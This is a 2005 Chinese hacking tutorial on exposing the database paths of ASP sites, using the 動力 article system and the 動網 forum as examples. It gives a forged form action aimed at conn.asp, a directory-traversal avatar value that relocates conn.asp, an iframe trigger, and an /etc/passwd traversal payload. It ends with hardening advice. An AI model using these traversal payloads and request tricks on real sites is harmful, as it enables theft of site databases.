你藏好了嗎之輕松揪出數據庫
作者:tank 日期:2005-01-23
你藏好了嗎之輕松揪出數據庫
前言
數據庫作為一個站點的核心部分其重要性自然不言而喻,網管們也煞費苦心的把數據庫改名、加上特殊符號來增加安全性。但是最近一些安全站點的數據庫路徑紛紛被人找到並下載,也就是最近討論的很熱的"暴庫"技術。我和紫幻以及駭客X檔案的各位朋友們也對這門技術進行了研究。雖說研究成果還不是很多,但希望能起一個拋轉引玉的作用。下面我就拿兩個系統來做實例分析:
動力文章系統
一般說來每一個站點程式檔中都會有一個連接數據的文件(一般是conn.asp),當然這個文件名和路徑并不是固定的,有的是在站點根目錄下,有的是放在專門的一個文件夾里,通常這個文件夾名為INC,文件名為conn.asp。如果把這和暴庫聯系起來,通常人們都會想到通過訪問這個文件來得到關于數據庫的信息,而實際上我們直接訪問這個文件是不會得到我們想要的信息的,所以就需要結合一些漏洞來達到暴庫的目的。
首先我來簡單介紹一下這個程序,動力文章系統分為商業SQL版本和免費ACCESS版本,我們這里測試的當然是ACCESS版的。程序的conn.asp文件用于連接數據庫,在/INC這個目錄下,數據庫文件在/Database目錄下。連接數據庫用的是相對路徑:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
動力文章系統的這個數據庫路徑泄露隱患應該算是程序員的疏忽而造成的,由于conn.asp這個文件本身存在隱患,導致攻擊者獲得數據庫路徑。漏洞發現者:天天(即黑客X論壇叫sohu的那位MM:),參與研究者:怪狗、iceyes、sniper。(漏洞分析可以參考http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。
開始的時候我們還以為editor.asp這個文件缺乏足夠的驗證,但是后來分析我們才發現不是editor.asp的問題。天天的那種做法只是利用editor.asp查看服務器返回信息。我們再來演示一下這攻擊過程。在IE中打開這個頁面,看看這個頁面能夠起到什么作用(如圖一)。
圖一
很顯然,這個文件是用于編輯文章內容的時候用的,雖然沒有什么別的權限,但是我們可以編輯更改HTML頁面。點擊"原代碼"找到這樣一段內容:
<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
這是該頁面進行身份驗證的時候,將內容傳遞給Admin_ChkLogin.asp這個文件的內容,下面我們要做的就是把它改成conn.asp文件了:
<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>
D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb不是一個有效的路徑。確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。
目錄結構我開始已經說了主目錄下存在INC目錄(用于存放conn.asp)和DATABASE目錄(數據庫文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目錄并不在INC目錄下,剛才暴露數據庫的時候卻顯示\inc\database\呢。這就是編寫人員的一大疏忽。由于INC和DATABASE屬于同級目錄,當我們用editor.asp連接訪問conn.asp的時候,由于DATABASE并沒有在INC目錄下,而系統確認為你是在請求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb這個文件,而實際上沒有這個文件,系統找不到這個文件自然就報錯拉。要解決這個問題,最直接的方法就是和動網那樣使conn.asp處于數據庫文件的上級目錄或同一個目錄中。
動網論壇
根據上面動力文章系統的分析我們可以得到存在數據庫路徑泄露這個問題的程序的標志:
1 conn.asp和調用它的文件(如INDEX.ASP)不在同一目錄。
2 conn.asp連接數據庫用的是相對路徑。
知道了漏洞的原理,再來理解動網得到數據庫的方法也就不難了。前一段時間臭要飯的發現了動網論壇的一個大漏洞,可以轉移任何文件。如果單純利用這個漏洞,至多可以把別人論壇文件刪除,卻得不到任何權限。那天我和紫幻討論這個問題的時候,突然想到了一個方法,只要我們將這個漏洞結合我們動力文章得到數據庫的方法,我們很容易的就可以想到得到動網論壇數據庫的方法。下面和我一起來看看動網我們該怎么做吧。
動網的漏洞出在mymodify.asp這個文件上,它在對用戶自定義頭像的部分處理的過于草率,我們可以利用/.\來跳轉目錄并移動文件,看下面代碼:
******************
對上傳頭象進行過濾與改名
if Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set rs=conn.execute("select userid,face from [user] where userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if ubound(upfilename)=1 and upfilename(0)="uploadFace" then
if instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用戶定義的頭像變為uploadFace/用戶ID
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user] set face="&newfilename&" where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set rs=nothing
end if
對上傳頭象進行過濾與改名結束
****************
看看這句:
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用戶定義的頭像變為uploadFace/用戶ID_upfilename的另一部分
再看:
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看見沒有?最關鍵的部分來了,如果檢測到upface代表的文件存在,則對改文件進行移動并改名!
好了,代碼分析完畢,看看我們到底應該怎么樣利用它吧。注冊一個用戶,進入基本資料修改的頁面后,關鍵部分就要來了。大家還記得在玩showfiles類文件的時候跳轉目錄來查看資料嗎?類似下面的的URL,我們就利用../來跳轉目錄對passwd文件進行查看。提交:
http://www.target.com/show.php?file=../../../../../etc/passwd%00
相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我們要做的就是跳轉目錄把conn.asp轉移過來。在自定義頭像地址那里添上這樣的一句:
uploadFace/.\..\conn.asp (注意大小寫)
前面已經分析過代碼了,這句話的意思應該看的懂了吧,我們把“頭像”地址指向了上級目錄的conn.asp。由于符合它的判斷條件upface存在,所以它就會把conn.asp這個文件轉移到uploadFace這個目錄來,這樣就符合我們玩動力文章系統的時候的第一個條件了。一般大家用的都是相對路徑,所以下面我們只要調用這個文件就會知道數據庫路徑。新建一個HTML文件寫上如下內容:
<IFRAME marginWidth=0 marginHeight=0 src="http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>
再打開這個HTML文件,看看,數據庫路徑出來了吧!(如圖三)
圖三
安全篇
看來問題都出在conn.asp本身,不打自招。為了安全我們得好好處理一下它。
最笨的方法就是把它改名了,讓別人猜不到路徑。但是它要被很多文件調用,還得改其它地方。
我們用相對路徑的時候,數據庫路徑會隨著調用conn.asp的文件而改變,從而產生了錯誤。那么我們就讓連接數據庫使用絕對路徑,這樣一來不管誰調用conn.asp數據庫路徑都不變了。
我在測試動網這個漏洞的時候,發現對一些比較新的版本,就是文件挪移成功了也暴不出數據庫路徑。但是有的6.0版本有效。看來新的版本動網論壇對conn.asp進行了特殊的處理。對比了一下兩個不同的conn.asp,發現新的conn.asp里加了這么一句:
On Error Resume Next
這樣一來,就是出錯了不提示數據庫信息,打死了也不招!當然以上的那些方法結合起來使用就更好了!